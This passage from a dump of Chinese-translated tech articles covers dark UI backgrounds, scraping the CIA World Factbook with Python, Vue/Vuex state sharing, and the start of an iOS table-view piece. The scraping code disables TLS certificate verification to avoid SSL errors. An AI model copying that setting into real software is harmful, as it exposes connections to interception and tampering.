的灰度来减少眩光的亮白。有趣的是，这样仍然在「阅览」时会被认为是白色的。同样的，将字体加粗，可以让字体有足够的大小让人不觉得文字被深色背景所「吞噬」_」这个试验以及其他试验能够提供不同类型的调色法，而这些调色法能够为网页和应用页面提供高效、自然的内容。\n\n还有一件事就是深色背景在某种程度上通常显得更沉重以及能更深入的呈现图形的内容如图片，相片，插图，海报和广告。良好的构图并遵守视觉层级原则可以显著的增强这种布局元素的视觉感知。这个因素在当界面基于更多图形材料而非文本时会使深色背景更高效并且具有吸引力。\n\n![](http://ac-Myg6wSTV.clouddn.com/ffb8689a5486125bdc5b.png)\n\n<figcaption>[一款分析应用](https://dribbble.com/shots/2062865-Analytics-App)来自 [Ludmila Shevchenko](https://dribbble.com/LudmilaShevchenko)</figcaption>\n\n### 情感感知方面\n\n色彩心理学也是在选择背景颜色时需要考虑到的，这不仅只是包含在所展现的有效范围中，还包含内容自身所承担的信息载体。黑暗的颜色通常与优雅和神秘感有关。此外，黑色往往与优雅，礼节，声望和权利有关。这或许是为什么许多强大的品牌都会使用黑白色调的主题，用深色来主导、用亮色来展示承载的信息，使用这样的方案来构建视觉展现效果。界面设计在这方面可以为其他设计解决方案和一般的产品展示提供额外的支持。\n\n![](http://ac-Myg6wSTV.clouddn.com/dd0719f001ef35d5600e.gif)\n\n<figcaption>[Tubik Studio | 博物馆](https://dribbble.com/shots/2620649-Tubik-Studio-Museu) 来自 [Ernest Asanov](https://dribbble.com/ErnestAsanov)</figcaption>\n\n### 深色背景的优势\n\n根据上述各点，我们可以总结得到在用户界面应用深色背景可以提供以下实际好处，包括：\n\n* 格调及优雅\n* 神秘感\n* 奢华显赫的外观\n* 可以广范围的运用对比\n* 支持视觉层次的展示\n* 反映内容的深度\n* 视觉吸引力。\n\n![](http://ac-Myg6wSTV.clouddn.com/7947c9ab8ad7a9dd9128.png)\n\n<figcaption>[Tubik Studio | Vinny 的面包店](https://dribbble.com/shots/2749617-Tubik-Studio-Vinny-s-Bakery) 来自 [Ernest Asanov](https://dribbble.com/ErnestAsanov)</figcaption>\n\n### 考虑要点\n\n在另一方面，深色背景需要彻底的关注和分析最微小的细节，如果它们没有以合适的方式呈现，那么这些细节则可能会在布局中变得模糊。因此我们应该考虑：\n\n*   **用户研究** 实际调查，理论研究和试验数据是针对目标用户十分重要的数据资源，他们的需求是选择有效和有吸引力的设计方案的基础。\n*   **竞争研究** 对关系密切的竞争对手进行市场研究，可以理解已经被市场上其他对手使用的设计方案，并且这一因素会影响到原始设计的选择从而使产品更加明显。\n*   **用户测试** 深色背景在可读性和易读性方面是十分脆弱的，所以应当在各种类型的设备和分辨率下严格的去测试。\n*   **环境因素** 去分析典型条件下将被用于目标用户的产品，可以为选择或反对深色背景提供其他的理由。\n*   **大量的内容** 元素和块的数量需要在屏幕或网页上达到能影响周围背景的决策：深色的背景如果在元素间留下了太少的空间会为视觉造成极大的困难。\n*   **内容的性质** 相比于大量的文本区块，深色背景可以为基于图形元素的界面提供更好的展示效果。\n\n![](http://ac-Myg6wSTV.clouddn.com/695e0a55cb834721ce2b.gif)\n\n<figcaption>[关于食谱和烹饪的 GIF 动画](https://dribbble.com/shots/2736160-GIF-Animation-for-Recipes-and-Cooking) 来自 [Sergey Valiukh](https://dribbble.com/SergeyValiukh)</figcaption>\n\n### 推荐阅读\n\n*   [**The Impact of Web Page Text-Background Color Combinations on Readability, Retention, Aesthetics, and Behavioral Intention**](http://lite.mst.edu/media/research/ctel/documents/LITE-2003-04.pdf)\n*   [**Visual Perception: An Introduction**](https://books.google.com.ua/books?id=rvt4a_AmKFQC&pg=PA11&lpg=PA11&dq=visual+perception+readability&source=bl&ots=6_rkYdGkj9&sig=_UYthMOEgDSLJEFftDA895epms8&hl=ru&sa=X&ved=0ahUKEwjiwPjRmsPMAhVOKywKHf1FCSM4FBDoAQgtMAM#v=onepage&q=visual%20perception%20readability&f=false)\n*   [**Art and Visual Perception: A Psychology of the Creative Eye**](https://books.google.com.ua/books?id=9RktoatXGQ0C&pg=PA350&lpg=PA350&dq=visual+perception+readability&source=bl&ots=NTLfJ_Akj6&sig=bpw4URR8U-QwWZwOndhoYs-wJWE&hl=ru&sa=X&ved=0ahUKEwjiwPjRmsPMAhVOKywKHf1FCSM4FBDoAQgZMAA#v=onepage&q=visual%20perception%20readability&f=false)\n*   [**Colour Choices on Web Pages: Contrast vs Readability**](http://www.writer2001.com/colwebcontrast.htm)\n*   [**The Dos and Don’ts of Dark Web Design**](http://www.webdesignerdepot.com/2009/08/the-dos-and-donts-of-dark-web-design/)\n"
  },
  {
    "path": "TODO/data-analytics-with-python-by-web-scraping-illustration-with-cia-world-factbook.md",
    "content": "> * 原文地址：[Data Analytics with Python by Web scraping: Illustration with CIA World Factbook](https://towardsdatascience.com/data-analytics-with-python-by-web-scraping-illustration-with-cia-world-factbook-abbdaa687a84)\n> * 原文作者：[Tirthajyoti Sarkar](https://towardsdatascience.com/@tirthajyoti?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/data-analytics-with-python-by-web-scraping-illustration-with-cia-world-factbook.md](https://github.com/xitu/gold-miner/blob/master/TODO/data-analytics-with-python-by-web-scraping-illustration-with-cia-world-factbook.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao)、[FateZeros](https://github.com/FateZeros)\n\n# Web 爬虫下的 Python 数据分析：中情局全球概况图解\n\n## 在本文章中，我将展示如何使用 Python 和 HTML 解析从网页中获取有价值的信息，之后会回答一些重要的数据分析问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*X2QkNgg-vR3NRnGDquRm9w.png)\n\n在数据科学项目中，数据采集和清洗几乎总是最耗时、最麻烦的步骤。每个人都喜欢用 3D 交互式图表来构建一两个很酷的深度神经网络（或者 XGboost）模型，以此炫耀个人的技术。但这些模型是需要原始数据的，而且它们并不容易采集和清洗。\n\n> **毕竟生活不像 Kaggle 一样是一个 zip 格式文件，等待您的解压和建模 :-)**\n\n**但为什么我们要采集数据或者构建模型呢**？最初的动机是回答商业、科学或者是社会上的问题。**这是趋势么**?**事物间的关联性**?**实体的测量可以预测出这种现象的结果么**?因为回答这个问题将会验证您作为这个该领域的科学家/实践者所提出的假设。您只是在使用数据（而不是像化学家使用试管或者物理学家使用磁铁）来验证您的假设，并且科学地证明/反驳它。**这就是数据科学中的「科学」部分，名副其实……**\n\n相信我，提出一个需要一些数据科学技术应用来解决的高质量问题并不难。而且每一个这样的问题都会成为您的一个小项目，您可以将它开源在 Gihub 这样的平台来和您的朋友们分享。即使您不是专业的数据专家，也没有人可以阻止您通过编写很酷的代码来回答一个高质量的数据问题。这也表明您是对数据敏感并且可以用数据讲故事的人。\n\n今天让我们来解决这样一个问题。。。\n\n> **一个国家的 GDP（按购买力平价）与其互联网用户比例是否有任何关系？这种趋势对于低收入/中等收入/高收入国家而言是否类似？**\n\n现在您可以想到许多原始资料可以采集来作为回答此问题的数据。我发现中情局（是的 ‘AGENCY’）的一个网站保存了世界上所有国家的基本事实信息，是一个采集数据的好地方。\n\n因此我们将使用以下 Python 模块来构建我们的数据库和可视化，\n\n*   **Pandas**, **Numpy, matplotlib/seaborn**\n*   Python **urllib** (发送 HTTP 请求)\n*   **BeautifulSoup** (用于 HTML 解析)\n*   **Regular expression module** （用于查找要搜索的精确匹配文本）\n\n让我们讨论一下解决这个数据科学问题的程序结构。[整个项目代码](https://github.com/tirthajyoti/Web-Database-Analytics-Python/blob/master/CIA-Factbook-Analytics2.ipynb)在我的 [Github 仓库中都可以找到](https://github.com/tirthajyoti/Web-Database-Analytics-Python)。如果您喜欢的话，请 fork 或者给个 star。\n\n#### 阅读 HTML 首页并传递给 BeautifulSoup\n\n这儿是[中情局全球概况首页](https://www.cia.gov/library/publications/the-world-factbook/) \n\n![](https://cdn-images-1.medium.com/max/800/1*CjEOFPmEDpz5z-Wc_YOfNg.png)\n\n图：中情局全球概况首页\n\n我们使用一个带有 SSL 错误忽略上下文的简单 urllib 请求来检索这个页面，然后将它传递给神奇的 BeautifulSoup，它将为我们解析 HTML 并生成一个漂亮的文本转储。对于那些不熟悉 BeautifulSoup 库的人，他们可以观以下视频或者[在 Medium 上阅读这篇内容丰富的文章。](https://medium.freecodecamp.org/how-to-scrape-websites-with-python-and-beautifulsoup-5946935d93fe)\n\nYouTube 视频地址：https://youtu.be/aIPqt-OdmS0\n\n以下是读取的首页 HTML 的代码片段，\n\n```\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\n# 从 URL 中读取 HTML 并将其传递给 BeautifulSoup\nurl = 'https://www.cia.gov/library/publications/the-world-factbook/'\nprint(\"Opening the file connection...\")\nuh= urllib.request.urlopen(url, context=ctx)\nprint(\"HTTP status\",uh.getcode())\nhtml =uh.read().decode()\nprint(f\"Reading done. Total {len(html)} characters read.\")\n```\n\n以下是我们如何将其传递给 BeautifulSoup 并使用 `find_all` 方法查找 HTML 中嵌入的所有国家名称和代码。基本上，这个想法是**找到名为 ‘option’ 的 HTML 标签**。标签中的文本是国家名，标签值的 5 号和 6 号表示的是 2 个字符的国家代码。\n\n现在您可能会问，您如何知道只需要提取第五和第六字符？简单的答案是**您必须亲自检查 soup 文本--即解析的 HTML 文本，并确定这些索引**。没有通用的方法来检查这一点，因为每个 HTML 页面和底层结构都是独一无二的。\n\n```\nsoup = BeautifulSoup(html, 'html.parser')\ncountry_codes=[]\ncountry_names=[]\n\nfor tag in soup.find_all('option'):\n    country_codes.append(tag.get('value')[5:7])\n    country_names.append(tag.text)\n\ntemp=country_codes.pop(0) # To remove the first entry 'World'\ntemp=country_names.pop(0) # To remove the first entry 'World'\n```\n\n#### 爬取：将所有国家的文本数据逐个抓取到字典中\n\n这一步就是他们所说的爬取或者抓取。要实现这一点，**关键是要确定每个国家信息页面的 URL 是如何构造的**。现在的一般情况是，这将很难获得。特殊情况下，快速检查显示了一个非常简单并且有规律的结构，以澳大利亚截图为例。\n\n![](https://cdn-images-1.medium.com/max/800/1*vYfbPogbxVdPhX9hoSUc6g.png)\n\n这意味着有一个固定的URL，您必须附加两个字符的国家代码，并获得该国家的页面网址。因此，我们只需遍历国家代码列表，使用 BeautifulSoup 提取所有文本并存储在本地词典中。这是代码片，\n\n```\n# 基础 URL\nurlbase = 'https://www.cia.gov/library/publications/the-world-factbook/geos/'\n#  空数据字典\ntext_data=dict()\n\n# 遍历每个国家\nfor i in range(1,len(country_names)-1):\n    country_html=country_codes[i]+'.html'\n    url_to_get=urlbase+country_html\n    # 从 URL 中读取 HTML 并将其传递给 BeautifulSoup\n    html = urllib.request.urlopen(url_to_get, context=ctx).read()\n    soup = BeautifulSoup(html, 'html.parser')\n    txt=soup.get_text()\n    text_data[country_names[i]]=txt\n    print(f\"Finished loading data for {country_names[i]}\")\n    \nprint (\"\\n**Finished downloading all text data!**\")\n```\n\n#### 如果您喜欢，可以存放在一个 Pickle dump 中\n\n另外，我偏向于序列化并**将数据存储在**[**Python pickle 对象中**](https://pythontips.com/2013/08/02/what-is-pickle-in-python/)。这样我下次打开 Jupyter 笔记本时，就可以直接读取数据而无需重复网络爬行步骤。\n\n```\nimport pickle\npickle.dump(text_data,open(\"text_data_CIA_Factobook.p\", \"wb\"))\n\n# 取消选择，下次从本地存储区读取数据。\ntext_data = pickle.load(open(\"text_data_CIA_Factobook.p\", \"rb\"))\n```\n\n#### 使用正则表达式从文本转储中提取 GDP/人均数据\n\n这是程序的核心文本分析部分，我们借助[**正则表达式**模块](https://docs.python.org/3/howto/regex.html)来查找我们在庞大文本字符串中寻找的内容，并提取相关的数字数据。现在，正则表达式是 Python（或者几乎是所有的高级编程语言）中的一个丰富资源。它允许在大量文本中以特定模式搜索/匹配字符串。这里我们使用非常简单的正则表达式方法来匹配精确的单词，如“**GDP — per capita (PPP):**”然后读取几个字符，提取诸如 $ 和 () 等特定符号的位置，最后提取 GDP/人均数值。这是一个用数字说明的想法。\n\n![](https://cdn-images-1.medium.com/max/800/1*1FgkmYUwds5pKIZC4HvkTw.png)\n\n图：文本分析图示。 \n\n这个笔记本中还有其他一些常用的表达方式，例如，不管这个数字是以数十亿还是数万亿美元计算出来的，都可以正确地提取出 GDP 总量。\n\n```\n# 'b' 去捕捉 'billions', 't' 去捕捉 'trillions'\nstart = re.search('\\$',string)\nend = re.search('[b,t]',string)\nif (start!=None and end!=None):\n    start=start.start()\n    end=end.start()\n    a=string[start+1:start+end-1]\n    a = convert_float(a)\n    if (string[end]=='t'):\n    # 如果 GDP 数值在 万亿中，则乘以 1000\n        a=1000*a\n```\n\n以下是代码片段的示例。**注意放置在代码中的多个错误处理检查**。这是必要的，因为 HTML 页面具有极不可预测性。并非所有国家都有 GDP 数据，并非所有页面的数据措辞都完全相同，并非所有数字看起来都一样，并非所有字符串放置方式都类似于 $ 和 ()。任何事都可能出错。\n\n> 为所有的场景规划和编写代码几乎是不可能，但至少要有代码来处理可能出现的异常，这样您的程序才不会停止，并且可以继续优雅地进行下一页处理。\n\n```\n# 初始化保存数据的字典\nGDP_PPP = {}\n# 遍历每个国家\nfor i in range(1,len(country_names)-1):\n    country= country_names[i]\n    txt=text_data[country]       \n    pos = txt.find('GDP - per capita (PPP):')\n    if pos!=-1: #If the wording/phrase is not present\n        pos= pos+len('GDP - per capita (PPP):')\n        string = txt[pos+1:pos+11]\n        start = re.search('\\$',string)\n        end = re.search('\\S',string)\n        if (start!=None and end!=None): #If search fails somehow\n            start=start.start()\n            end=end.start()\n            a=string[start+1:start+end-1]\n            #print(a)\n            a = convert_float(a)\n            if (a!=-1.0): #If the float conversion fails somehow\n                print(f\"GDP/capita (PPP) of {country}: {a} dollars\")\n                # 在字典中插入数据\n                GDP_PPP[country]=a\n            else:\n                print(\"**Could not find GDP/capita data!**\")\n        else:\n            print(\"**Could not find GDP/capita data!**\")\n    else:\n        print(\"**Could not find GDP/capita data!**\")\nprint (\"\\nFinished finding all GDP/capita data\")\n```\n\n#### 不要忘记使用 pandas inner/left join 方法\n\n需要记住的一点是，所有这些分本分析都将产生具有略微不同的国家集的数据。因为不同的国家可能无法获得不同类型的数据。人们可以使用一个 [**Pandas left join**](https://pandas.pydata.org/pandas-docs/stable/merging.html) 来创建一个与所有可获得/可以提取的所有数据片段的所有公共国家相交的数据。\n\n```\ndf_combined = df_demo.join(df_GDP, how='left')\ndf_combined.dropna(inplace=True)\n```\n\n#### 啊，现在是很酷的东西，建模。。。但等等！还是先过滤吧！\n\n在完成了所有的 HTML 解析、页面爬取和文本挖掘后，现在您已经可以享受这些好处了--渴望运行回归算法和很酷的可视化脚本！但是等等，在生成这些东西之前，通常您需要清洗您的数据（特别是针对这种社会经济问题）。基本上，您需要过滤掉异常值，例如非常小的国家（比如岛屿国家），它们可能对您要绘制的参数值造成极大的偏差，且不遵循您想要研究的主要基本动态。对这些过滤器来说，几行代码是很好的。可能有更多的 **Pythonic** 方法来实现他们，但我尽量保持它极其简单且易于遵循。例如，下面的代码创建过滤器，将 GDP 小于五百亿的小国拒之门外，低收入和高收入的界限分别为 5000 美元和 25000 美元(GDP/人均 GDP)。\n\n```\n# 创建过滤后的数据帧、x 和 y 数组\nfilter_gdp = df_combined['Total GDP (PPP)'] > 50\nfilter_low_income=df_combined['GDP (PPP)']>5000\nfilter_high_income=df_combined['GDP (PPP)']<25000\n\ndf_filtered = df_combined[filter_gdp][filter_low_income][filter_high_income]\n```\n\n#### 最后是可视化\n\n我们使用 [**seaborn regplot** 函数](https://seaborn.pydata.org/generated/seaborn.regplot.html)创建线性回归拟合的散点图（互联网用户数量比上人均 GDP）和显示 95％ 置信区间带。他们看起来就像下面一样。可以将结果解释为\n\n> 一个国家的互联网用户数量与人均 GDP 之间存在着很强的正相关关系。此外，低收入/低 GDP 国家的相关强度明显高于高 GDP 发达国家。**这可能意味着，与发达国家相比，互联网接入有助于低收入国家更快地增长，并更好地改善其公民的平均状况**。\n\n![](https://cdn-images-1.medium.com/max/800/1*UAMZrO5oXN_vKvwu-Zhaxg.png)\n\n#### 总结\n\n本文通过一个 Python 笔记本演示来说明如何通过使用 BeautifulSoup 进行 HTML 解析来抓取用于下载原始信息的网页。在此基础上，阐述了如何利用正则表达式模块来搜索和提取用户所需要的重要信息。\n\n> 最重要的是，它演示了在挖掘杂乱的HTML解析文本时，如何或为什么不可能有简单、通用的规则或程序结构。我们必须检查文本结构，并设置适当的错误处理检查，以便恰当地处理所有情况，以维护程序的流程（而不是崩溃），即使它无法提取所有这些场景的数据。\n\n我希望读者能从提供的笔记本文件中获益，并根据自己的需求和想象力在此基础上构建。更多 Web 数据分析笔记 [**请查看我的仓库**](https://github.com/tirthajyoti/Web-Database-Analytics-Python)\n\n* * *\n\n如果您有任何问题和想法可以分享，请联系作者 [**tirthajyoti@gmail.com**](mailto:tirthajyoti@gmail.com)。当然您也可以查看作者的 [**GitHub 仓库**](https://github.com/tirthajyoti?tab=repositories)中的 Python, R, 或者 MATLAB 和机器学习的资源。如果你像我一样热衷于机器学习/数据科学，请随时在[ LinkedIn 上添加我](https://www.linkedin.com/in/tirthajyoti-sarkar-2127aa7/)或者[在 Twitter 上关注我。](https://twitter.com/tirthajyotiS)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/data-flow-in-vue-and-vuex.md",
    "content": "> * 原文地址：[DATA FLOW IN VUE AND VUEX](https://benjaminlistwon.com/blog/data-flow-in-vue-and-vuex/)\n* 原文作者：[Benjamin Listwon](https://benjaminlistwon.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[linpu.li](https://github.com/llp0574)\n* 校对者：[malcolmyu](https://github.com/malcolmyu)，[XatMassacrE](https://github.com/XatMassacrE)\n\n# VUE 和 VUEX 中的数据流\n\n看起来在 [Vue](https://vuejs.org) 里面困扰开发者的事情之一是如何在组件之间共享状态。对于刚刚接触响应式编程的开发者来说，像 [Vuex](https://github.com/vuejs/vuex/) 这种库，有着繁多的新名词及其关注点分离的方式，往往令人望而生畏。特别是当你只希望分享一两个数据片段时，（这一套逻辑的复杂性）就显得有点过分了。\n\n考虑到这一点的话，我想我应该把两个简短的演示放到一起展示出来。第一个通过使用一个简单的 JavaScript 对象，在每个新组件当中引用来实现共享状态。第二个做了和 Vuex 一样的事情，当它运行成功的时候，也是一个你绝对不应该做的事情的示例（我们将在最后看看为什么）。\n\n你可以通过查看下面这些演示来开始：\n\n*   [Using shared object](https://benjaminlistwon.com/demo/dataflow/shared/index.html)\n*   [Using vuex](https://benjaminlistwon.com/demo/dataflow/vuex/index.html)\n*   [Using evil bindings](https://benjaminlistwon.com/demo/dataflow/evil/index.html)\n\n或者获取[这个仓库](https://github.com/BenjaminListwon/vue-data-flow)并在本地运行试试看！代码里很多地方是 2.0 版本的特性，但我接下来想讲的数据流概念在任何版本里都是相关的，并且它可以通过一些改变很轻易地向下兼容到 1.0。\n\n这些演示都是一样的功能，只是实现的方法不同。应用程序由两个独立的聊天组件实例组成。当用户在一个实例里提交一个消息的时候，它应该在两个聊天窗口都出现，因为消息状态是共享的，下面是一个截图：\n\n![](http://ac-Myg6wSTV.clouddn.com/db8486b182725e0a482f.png)\n\n## 用一个对象共享状态\n\n开始前，让我们先来看看数据是如何在示例的应用程序当中流转的。\n\n![](https://benjaminlistwon.com/postimg/data-flow-in-vue-and-vuex/shared-state-01.svg)\n\n在这个演示里，我们将使用一个简单的 JavaScript 对象：`var store = {...}`，在`Client.vue`组件的实例之间共享状态。下面是关键文件的重要代码部分：\n\n##### index.html\n\n```\n<div id=\"app\"></div>\n<script>\n  var store = {\n    state: {\n      messages: []\n    },\n    newMessage (msg) {\n      this.state.messages.push(msg)\n    }\n  }\n</script>\n```\n\n这里有两个关键的地方：\n\n1.  我们通过把这个对象直接添加到`index.html`里来让其对整个应用程序可用，也可以将它注入到应用程序里更下一层的作用链，但目前直接添加显然更快捷简单。\n2.  我们在这里保存状态，但同时也提供了一个函数来调用它。相比起分散在组件各处的函数，我们更倾向于让它们保持在一个地方（便于维护），并在任何需要它们的地方简单使用。\n\n##### App.vue\n\n```\n<template>\n  <div id=\"app\">\n    <div class=\"row\">\n      <div class=\"col\">\n        <client clientid=\"Client A\"></client>\n      </div>\n      <div class=\"col\">\n        <client clientid=\"Client B\"></client>\n      </div>\n    </div>\n  </div>\n</template>\n\n<script>\nimport Client from './components/Client.vue'\n\nexport default {\n  components: {\n    Client\n  }\n}\n</script>\n```\n\n\n这里我们引入了 Client 组件，并创建了两个它的实例，使用一个属性：`clientid`，来对每个实例进行区分。事实上，你应该更动态地去实现这些，但别忘了，目前快捷简单更重要。\n\n注意一点，到这里我们还完全没有同步任何状态。\n\n##### Client.vue\n\n```\n<template>\n  <div>\n    <h1>{{ clientid }}</h1>\n    <div class=\"client\">\n      <ul>\n        <li v-for=\"message in messages\">\n          <label>{{ message.sender }}:</label> {{ message.text }}\n        </li>\n      </ul>\n      <div class=\"msgbox\">\n        <input v-model=\"msg\" placeholder=\"Enter a message, then hit [enter]\" @keyup.enter=\"trySendMessage\">\n      </div>\n    </div>\n  </div>\n</template>\n\n<script>\nexport default {\n  data() {\n    return {\n      msg: '',\n      messages: store.state.messages\n    }\n  },\n  props: ['clientid'],\n  methods: {\n    trySendMessage() {\n      store.newMessage({\n        text: this.msg,\n        sender: this.clientid\n      })\n      this.resetMessage()\n    },\n    resetMessage() {\n      this.msg = ''\n    }\n  }\n}\n</script>\n```\n\n\n下面是应用程序的主要内容：\n\n1.  在该模板里，设置一个`v-for`循环去遍历`messages`集合。\n2.  绑定在文本输入框上的`v-model`简单地存储了组件的本地数据对象`msg`。\n3.  同样在数据对象里，我们创建了一个`store.state.messages`的引用，它将触发组件的更新。\n4.  最后，将 enter 键绑定到`trySendMessage`函数，这个函数包含了以下几个功能：\n    1.  准备好需要存储的数据（发送者和消息的一个字典对象）。\n    2.  调用定义在共享存储里的`newMessage`函数。\n    3.  调用一个清理函数：`resetMessage`，重置输入框。通常你更应该在一个`promise`完成之后再调用它。\n\n这就是使用对象的方法，来[试一试](https://benjaminlistwon.com/demo/dataflow/shared/index.html)。\n\n## 用 Vuex 共享状态\n\n好了，现在来试试看用 Vuex 实现。同样的，先上图，也便于我们将 Vuex 的术语（actions，mutations 等等）对应到我们刚刚完成的示例中。\n\n![](https://benjaminlistwon.com/postimg/data-flow-in-vue-and-vuex/vuex-01.svg)\n\n正如你所看到的，Vuex 简单地形式化了我们刚刚完成的过程。使用它的时候，所做的事情其实和我们上面做过的非常像：\n\n1.  创建一个用来共享的存储，在这个例子中它将通过 vue/vuex 注入到组件当中。\n2.  定义组件可以调用的 actions，它们仍然是集中定义的。\n3.  定义实际接触存储状态的 mutations。我们这么做，actions 就可以形成不止一个 mutation，或者执行逻辑去决定调用哪一个 mutation。这意味着你再也不用担心组件当中的业务逻辑了，成功！\n4.  当状态更新时，任何拥有 getter，动态属性和映射到 store 的组件都会被立即更新。\n\n同样再来看看代码：\n\n##### main.js\n\n```\nimport store from './vuex/store'\n\nnew Vue({ // eslint-disable-line no-new\n  el: '#app',\n  render: (h) => h(App),\n  store: store\n})\n```\n\n这次，我们用 Vuex 创建了一个存储并将其直接传入应用程序当中，替代掉了之前 `index.html`中的 `store` 对象。在继续之前，先来看一下这个存储：\n\n##### store.js\n\n```\nexport default new Vuex.Store({\n\n  state: {\n    messages: []\n  },\n\n  actions: {\n    newMessage ({commit}, msg) {\n      commit('NEW_MESSAGE', msg)\n    }\n  },\n\n  mutations: {\n    NEW_MESSAGE (state, msg) {\n      state.messages.push(msg)\n    }\n  },\n\n  strict: debug\n\n})\n```\n\n和我们自己创建的对象非常相似，但是多了一个 `mutations` 对象。\n\n##### Client.vue\n\n```\n<div class=\"row\">\n  <div class=\"col\">\n    <client clientid=\"Client A\"></client>\n  </div>\n  <div class=\"col\">\n    <client clientid=\"Client B\"></client>\n  </div>\n</div>\n```\n\n和上次一样的配方。（惊人的相似，对吧？）\n\n##### Client.vue\n\n```\n<script>\nimport { mapState, mapActions } from 'vuex'\n\nexport default {\n  data() {\n    return {\n      msg: ''\n    }\n  },\n  props: ['clientid'],\n  computed: {\n    ...mapState({\n      messages: state => state.messages\n    })\n  },\n  methods: {\n    trySendMessage() {\n      this.newMessage({\n        text: this.msg,\n        sender: this.clientid\n      })\n      this.resetMessage()\n    },\n    resetMessage() {\n      this.msg = ''\n    },\n    ...mapActions(['newMessage'])\n  }\n}\n</script>\n```\n\n\n模板仍然刚好一样，所以我甚至不需要费心怎么去引入它。最大的不同在于：\n\n1.  使用`mapState`来生成对共享消息集合的引用。\n2.  使用`mapActions`来生成创建一个新消息的动作（action）。\n\n(**注意**：这些都是 Vuex 2.0 特性。)\n\n好的，做完啦！也来看一下[这个演示](https://benjaminlistwon.com/demo/dataflow/vuex/index.html)吧。\n\n## 结论\n\n所以，正如你所希望看到的，自己进行简单的状态共享和使用 Vuex 进行共享并没有多大区别。而 Vuex **最大的**优点在于它为你形式化了集中处理数据存储的过程，并提供了所有功能方法去处理那些数据。\n\n最初，当你阅读 Vuex 的文档和示例的时候，它那些针对 mutations，actions 和 modules 的单独文档很容易让人感觉困扰。但是如果你敢于跨出那一步，简单地在`store.js`文件里写一些关于它们的代码来开始学习。随着这个文件的大小增加，你就将找到正确的时间移步到`actions.js`里，或者是把它们更进一步地分离开来。\n\n不要着急，慢慢来，一步一个台阶。当然也可以使用 [vue-cli](https://github.com/vuejs/vue-cli) 从创建一个模板开始，我使用 [browserify](https://github.com/vuejs-templates/browserify) 模板，并把下面的代码添加进我的 `package.json` 文件。\n\n```\n\"dependencies\": {\n    \"vue\": \"^2.0.0-rc.6\",\n    \"vuex\": \"^2.0.0-rc.5\"\n}\n```\n\n## 还在看吗？\n\n我知道我还说过要再讲一个“不好的”方式。再次，这个演示恰好也是[一样](https://benjaminlistwon.com/demo/dataflow/evil/index.html)的。不好的地方在于我利用了 Vue 2.0 里单向绑定的特性来注入回调函数，从而允许了父子模板之间顺序的双向绑定。首先，来看一下 [2.0 文档中的这个部分](http://rc.vuejs.org/guide/components.html#One-Way-Data-Flow)，然后再来看看我这个不好的方法。\n\n##### App.vue\n\n```\n<div class=\"row\">\n  <div class=\"col\">\n    <client clientid=\"Client A\" :messages=\"messages\" :callback=\"newMessage\"></client>\n  </div>\n  <div class=\"col\">\n    <client clientid=\"Client B\" :messages=\"messages\" :callback=\"newMessage\"></client>\n  </div>\n</div>\n```\n\n\n这里，我在组件上使用了一个属性将一个动态绑定传递到 `messages` 集合里。**但是**，我同时还传递了一个动作函数，所以可以在子组件里调用它。\n\n##### Client.vue\n\n```\n<script>\nexport default {\n  data() {\n    return {\n      msg: ''\n    }\n  },\n  props: ['clientid', 'messages', 'callback'],\n  methods: {\n    trySendMessage() {\n      this.callback({\n        text: this.msg,\n        sender: this.clientid\n      })\n      this.resetMessage()\n    },\n    resetMessage() {\n      this.msg = ''\n    }\n  }\n}\n</script>\n```\n\n这里就是不好的做法。\n\n要问为什么有这么不好吗？\n\n1.  我们正在破坏之前图中所展示的单向循环。\n2.  我们创建了一个在组件及其父组件之间的紧密耦合。\n3.  这将变得**不可**维护。如果你在组件里需要 20 个函数，你就将添加 20 个属性，管理它们的命名等等，然后，如果任何东西发生改变，呃！\n\n所以为什么还要再展示这段？因为我和其他人一样很懒。有时我就会做这样的事情，仅仅想知道再继续做下去会有多么糟糕，然后我就会咒骂自己的懒惰，因为我可能要花上一小时或者一天的时间去清理它们。鉴于这种情况，我希望我可以帮助你尽早避免无谓的决定和错误，**千万不要**传递任何你不需要的东西。99% 的情况下，一个单独的共享状态已经足够完美。（不久再详细讲讲那 1% 的情况）\n\n\n"
  },
  {
    "path": "TODO/dealing-with-complex-table-views-in-ios-and-keeping-your-sanity.md",
    "content": "\n> * 原文地址：[Dealing with Complex Table Views in iOS and Keeping Your Sanity](https://medium.cobeisfresh.com/dealing-with-complex-table-views-in-ios-and-keeping-your-sanity-ff5fee1fbb83)\n> * 原文作者：[Marin Benčević](https://medium.cobeisfresh.com/@marinbenc?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/dealing-with-complex-table-views-in-ios-and-keeping-your-sanity.md](https://github.com/xitu/gold-miner/blob/master/TODO/dealing-with-complex-table-views-in-ios-and-keeping-your-sanity.md)\n> * 译者：[zhangqippp](https://github.com/zhangqippp)\n\n# 处理 iOS 中复杂的 Table Views 并保持优雅\n\nTable views 是 iOS 开发中最重要的布局组件之一。通常我们的一些最重要的页面都是 table views：feed 流，设置页，条目列表等。\n\n每个开发复杂的 table view 的 iOS 开发者都知道这样的 table view 会使代码很快就变的很粗糙。这样会产生包含大量 `UITableViewDataSource` 方法和大量 if 和 switch 语句的巨大的 view 